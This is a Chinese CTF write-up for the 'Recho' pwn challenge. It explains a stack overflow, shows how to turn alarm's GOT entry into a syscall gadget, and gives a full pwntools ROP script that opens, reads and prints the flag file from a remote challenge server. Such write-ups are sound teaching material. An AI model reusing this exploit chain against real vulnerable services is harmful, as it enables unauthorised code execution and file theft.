灵活运用syscall
遇到了一个程序并不复杂,但利用却很麻烦的题目,Recho题目详细writeup,题目地址:Recho
按照惯例,查看安全策略:
基本没啥安全策略,然后查看程序逻辑,程序很短,就一个main:
很容易就找到溢出点,大体逻辑就是,先输入一个数,小于15会被认为是16,然后再输入一串字符串,程序会将前x(刚输入的数字)个字符拷贝到buf中,这里没有上限,所以存在溢出。但问题是,while(read())函数,只有当read()=0的时候才会结束,试了好多种能让read返回0的方法,只有中断程序才可以。那么面临的问题就是,中断程序之后不能继续操作了,所以只能一个ROP一R到底。
试着寻找一下是否有后门,真的发现了flag字符串:
也没有使用system函数,也没有给libc版本。这里可以采用syscall来获取flag。
syscall汇编指令执行时会根据eax的值来执行不同的函数(功能),对应表
但我们这个程序中并没有syscall函数:
那么我们还要熟悉在libc中使用syscall的函数,比如这个程序中就有的alarm函数:
可见,在alarm中调用了0x25号syscall,也就是sys_alarm。并且syscall的地址比alarm地址多5,这里由于不同libc中alarm地址不同,但syscall和alarm相对便宜是不变的5,所以只要想办法将got表中的alarm地址+5,那么就会将alarm变为syscall的功能,但我们需要自己手动给eax赋值。
有了syscall,我们就可以使用open()flag文件,然后将flag读取到程序中,从截止位置开始读就可以。然后再write写出来。那么我们需要一些gadget,首先是pop eax;ret的:
只有一个,正好,然后程序给了通用gadget:
然后还需要一个给alarm_got加5的,搜索一下add:
要选给指针内容+5的,这里没有直接+5,我们可以pop给rax5,然后再加al,通用gadget中有pop rdi;ret,所以可以选择这个gadget。
接下来万事具备,可以开始编写利用代码:
from pwn import *
p=remote('111.198.29.45',36835)
elf = ELF('./d7820a9699814e8480efa2d3a83c1533')
poprax_addr = 0x4006fc #pop rax;ret
poprdi_addr = 0x4008a3 #pop rdi;ret
ppppppr_addr=0x40089A #通用gadget
mmmc_addr=0x400880 #通用gadget
addrdi_addr = 0x40070d #edi=edi+al
flag = 0x601058 #falg_addr
binsh_addr=0x601090 #存放binsh
alarm_got = elf.got['alarm']
read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
alarm_plt = elf.plt['alarm']
#修改alarm_got
payload='A'*0x38+p64(poprax_addr)+p64(0x05)+p64(poprdi_addr)+p64(alarm_got)+p64(addrdi_addr)
#调用open,先将eax置2,然后使用通用gadget打开flag
payload+=p64(poprax_addr)+p64(0x02)+p64(ppppppr_addr)+p64(0)+p64(1)+\
p64(alarm_got)+p64(0)+p64(0)+p64(flag)+p64(mmmc_addr)+'A'*56
#用read读文件,将flag读入程序末尾
payload+=p64(ppppppr_addr)+p64(0)+p64(1)+\
p64(read_got)+p64(0x30)+p64(binsh_addr)+p64(0x03)+p64(mmmc_addr)+'A'*56
#用write将刚读入的flag输出
payload+=p64(ppppppr_addr)+p64(0)+p64(1)+\
p64(write_got)+p64(0x30)+p64(binsh_addr)+p64(0x01)+p64(mmmc_addr)
p.recvuntil('Welcome to Recho server!\n')
p.send(str(0x200) + '\n')
p.send(payload.ljust(0x200, '\x00'))
p.recv()
p.shutdown("send") #中断输入
p.interactive()
成功!
总结一下就是,需要记住shutdown(“send”)可以中断输入,还有就是记得一些libc中有syscall的函数,再者灵活搜索程序中有的gadget。